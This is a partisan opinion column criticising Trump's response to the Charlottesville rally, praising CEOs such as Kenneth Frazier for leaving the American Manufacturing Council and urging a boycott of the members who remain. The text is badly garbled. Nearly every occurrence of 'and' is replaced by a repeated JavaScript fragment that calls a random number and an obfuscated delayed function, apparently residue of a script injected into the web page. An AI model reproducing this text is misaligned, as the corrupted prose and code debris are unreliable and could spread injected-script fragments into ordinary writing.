The Best Medicine for the Bully in the White House

In the wake of Saturday's white nationalist rally in Charlottesville, Va., Donald Trump offered watered-down criticisms of his neo-Nazi supporters. Facing a violent hate-inspired crisis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a vile act of domestic terrorism, Americans expected at least a modicum of compassion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strength from Trump in response. Trump's reluctance to speak out against his racist brethren prompted a forceful national reaction from the public, press, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lawmakers on Sunday andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Monday.

In addition, another group close to Trump began taking direct action Monday to send the Trump regime a much-needed message that his example is not acceptable.

In January, Trump announced the formation of a jobs initiative program. He invited innovative andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and successful leaders from the manufacturing sector to the American Manufacturing Council. Members who signed on to the White House advisory panel included presidents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and CEOs of Dell, Ford, General Electric, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 3M among several others.

On Monday, Kenneth Frazier, the CEO of Merck - the nation's third largest pharmaceutical company, resigned from the American Manufacturing Council. Frazier, a powerful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respected business leader had obviously suffered enough of Trump's extremist sympathies, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tweeted, "As CEO of Merck andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as a matter of personal conscience, I feel a responsibility to take a standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and against intolerance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extremism." Frazier did not mention Trump directly, but judging by Trump's reaction, Frazier's rejection must have stung.

While it took Trump two days to criticize the white nationalist groups responsible for the Charlottesville tragedies, in less than an hour he launched personal Twitter attacks on Frazier: "Now that Ken Frazier of Merck Pharma has resigned from President's Manufacturing Council, he will have more time to LOWER RIPOFF DRUG PRICES!" Trump's irrational andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tantrum-fueled tweet demonstrates that while Trump may have mastered the "Art of the Deal," it is clear he could never be an authority on the art of rejection.

Following Frazier's resignation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump's spoiled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and infantile response, Intel CEO Brian Krzanich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Under Armour chief Kevin Plank also quit the council. Their departures may be the beginning of a much needed mass exodus from one of Trump's widely boasted pet projects.

As Trump's poll numbers sink lower andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he is questioned about white nationalism, he points a finger at the media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yells at reporters that they are, "Fake news," while refusing to answer questions. One fact that is not fake that Trump may be unable to ignore is rejection from his own peers.

The more people close to Trump who standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up to his bullying, the more likely it will be that the nation rights its course. America is desperate for a Ken Frazier, Elon Musk, or Meg Whitman to fill the leadership void that is swirling the giant "swamp drain" in the White House. The nation's moral compass is directionless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and requires strong public voices to recalibrate it. If every business leader on the Manufacturing Council resigned tomorrow (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump continued to berate them individually), their service to the country would be worth more than the collective value of the council's corporations.

Until now, Trump has dismissed or rebuffed intermittent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and individual opposition. He has not faced, however, a unified onslaught of "No!" from the business sector. Trump is a spoiled child who reacts to any rejection with uncontrollable tantrums andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he needs to be told "No!" often. He needs to hear it from people whose opinion might matter to him.

With Trump's ascension to the Oval Office, America is experiencing an unfortunate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and disastrous merger of business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and politics. A CEO who aspires to be a president apprentice cannot govern a nation like a personal business. When he does, more intelligent business leaders - like those invited to the American Manufacturing Council - have a responsibility to the country. Ken Frazier filled the role of advisor, business leader, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and patriot today by taking a standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and against Trump's policies, or lack thereof.

As business leaders close to Trump apply pressure, so can every American ensure in turn, that their voices are heard. Three members of Trump's council have resigned, but several more remain - their names andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and companies are listed on the White House website. Send them a strong message that, like Ken Frazier, you do not approve of Donald Trump's messages on racism. Boycott their products andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and services until Trump hears American voices rising in one unified, "No!"

"No," to racism. "No," to white nationalists, neo-Nazis, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the KKK. "No," to discrimination andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hate. And, "No," to Donald Trump's destruction of American values of equality, compassion, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tolerance. It is time to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up to the bully in the White House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and let him know, we are here to "Make America Ours Again."